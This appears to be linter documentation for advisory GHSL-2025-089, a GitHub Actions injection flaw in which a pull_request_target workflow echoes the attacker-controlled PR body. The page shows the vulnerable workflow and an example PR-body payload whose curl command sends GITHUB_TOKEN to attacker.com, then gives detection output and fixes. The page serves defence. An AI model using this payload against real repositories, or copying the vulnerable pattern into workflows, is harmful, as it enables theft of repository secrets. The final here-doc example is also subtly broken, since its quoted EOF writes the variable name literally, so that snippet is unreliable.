GHSL-2025-089: Code Injection via PR Body in pull_request_target #
Summary #
| Item | Value |
|---|---|
| Advisory ID | GHSL-2025-089 |
| Severity | Critical |
| Affected Component | ydb-platform/ydb |
| CVE | N/A |
| CWE | CWE-78 (OS Command Injection) |
| Reference | https://securitylab.github.com/advisories/GHSL-2025-089_ydb-platform_ydb/ |
Vulnerability Description #
GHSL-2025-089 is a code injection vulnerability in GitHub Actions workflows that occurs when:
- A workflow is triggered by
pull_request_targetevent - The workflow uses
${{ github.event.pull_request.body }}directly in arun:script - The PR body content is controlled by the attacker
This pattern allows attackers to execute arbitrary commands with elevated privileges (access to repository secrets and write permissions).
Attack Vector #
sequenceDiagram
participant Attacker
participant PR
participant Workflow
participant Secrets
Attacker->>PR: Create PR with malicious body
Note right of Attacker: Body contains shell injection payload
PR->>Workflow: Trigger pull_request_target
Workflow->>Workflow: Run echo with PR body (unsanitized)
Workflow->>Workflow: Shell interprets malicious payload
Workflow->>Secrets: Access GITHUB_TOKEN and other secrets
Workflow->>Attacker: Exfiltrate secrets via curl
Vulnerable Code Pattern #
name: Validate PR Description
on:
pull_request_target:
types:
- opened
- edited
branches:
- main
- 'stable-*'
jobs:
validate-pr-description:
runs-on: ubuntu-latest
steps:
- name: Validate PR description
# VULNERABLE: github.event.pull_request.body is user-controlled
run: |
echo "${{ github.event.pull_request.body }}" > pr_body.txt
# ... validation logic
Why This Is Dangerous #
- User-Controlled Input:
github.event.pull_request.bodyis entirely controlled by the PR author - Privileged Context:
pull_request_targetruns with repository secrets and write permissions - Shell Injection: Even with double quotes, shell metacharacters like
$(...), backticks, or"...; cmd; "can escape - Silent Execution: The attacker can hide malicious code within seemingly normal PR descriptions
Example Attack Payload #
An attacker creates a PR with the following body:
## Description
This PR fixes a bug.
"; curl -X POST https://attacker.com/steal -d "token=$GITHUB_TOKEN"; echo "
## Testing
Tested locally.
When the workflow runs echo "${{ github.event.pull_request.body }}", the shell interprets:
echo "## Description
This PR fixes a bug.
"; curl -X POST https://attacker.com/steal -d "token=$GITHUB_TOKEN"; echo "
## Testing
Tested locally."
The injected curl command executes with access to the workflow’s secrets.
sisakulint Detection #
sisakulint detects this vulnerability with the code-injection-critical rule:
Detection Output #
script/actions/ghsl/ghsl-2025-089.yaml:31:16: "${{ github.event.pull_request.body }}" is
potentially untrusted. Avoid using it directly in inline scripts. Instead, use an
intermediate environment variable. (triggers: pull_request_target)
[code-injection-critical]
Detection Conditions #
| Condition | Description |
|---|---|
| Privileged Trigger | pull_request_target, issue_comment, or workflow_run |
| Untrusted Expression | github.event.pull_request.body (or other untrusted contexts) |
| Inline Script | Expression used directly in run: script |
Untrusted Contexts Detected #
| Context | Risk Level |
|---|---|
github.event.pull_request.body | Critical |
github.event.pull_request.title | Critical |
github.event.issue.body | Critical |
github.event.issue.title | Critical |
github.event.comment.body | Critical |
github.event.review.body | Critical |
github.head_ref | Critical |
Remediation #
Option 1: Use Environment Variables (Recommended) #
- name: Validate PR description
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: |
echo "$PR_BODY" > pr_body.txt
# Validation logic...
Environment variables are not subject to shell interpretation of ${{ }} expressions.
Option 2: Use GitHub Script Action #
- name: Validate PR description
uses: actions/github-script@v7
with:
script: |
const prBody = context.payload.pull_request.body;
const fs = require('fs');
fs.writeFileSync('pr_body.txt', prBody);
// Validation logic in JavaScript (safer)
Option 3: Use Dedicated Validation Action #
- name: Validate PR description
uses: some-org/pr-validator@v1
with:
required-sections: "Description,Testing"
Auto-Fix Support #
sisakulint provides auto-fix for this vulnerability:
# Preview the fix
sisakulint -fix dry-run script/actions/ghsl/ghsl-2025-089.yaml
# Apply the fix
sisakulint -fix on script/actions/ghsl/ghsl-2025-089.yaml
The auto-fix will:
- Extract the untrusted expression to an environment variable
- Replace the
${{ }}expression with the environment variable reference
Before Auto-Fix #
- name: Validate PR description
run: |
echo "${{ github.event.pull_request.body }}" > pr_body.txt
After Auto-Fix #
- name: Validate PR description
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: |
echo "$PR_BODY" > pr_body.txt
Additional Security Considerations #
Never Trust User Input in Privileged Contexts #
In pull_request_target, issue_comment, and workflow_run triggers, the following are user-controlled:
- PR/Issue title and body
- Comment body
- Branch names (
github.head_ref) - Commit messages
- Author names
Use Proper Input Validation #
Even with environment variables, validate and sanitize input before using it in sensitive operations:
- name: Validate PR description
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: |
# Limit input length
if [ ${#PR_BODY} -gt 10000 ]; then
echo "PR body too long"
exit 1
fi
# Use here-doc for safer file writing
cat << 'EOF' > pr_body.txt
$PR_BODY
EOF
Test Files #
- Vulnerable pattern:
script/actions/ghsl/ghsl-2025-089.yaml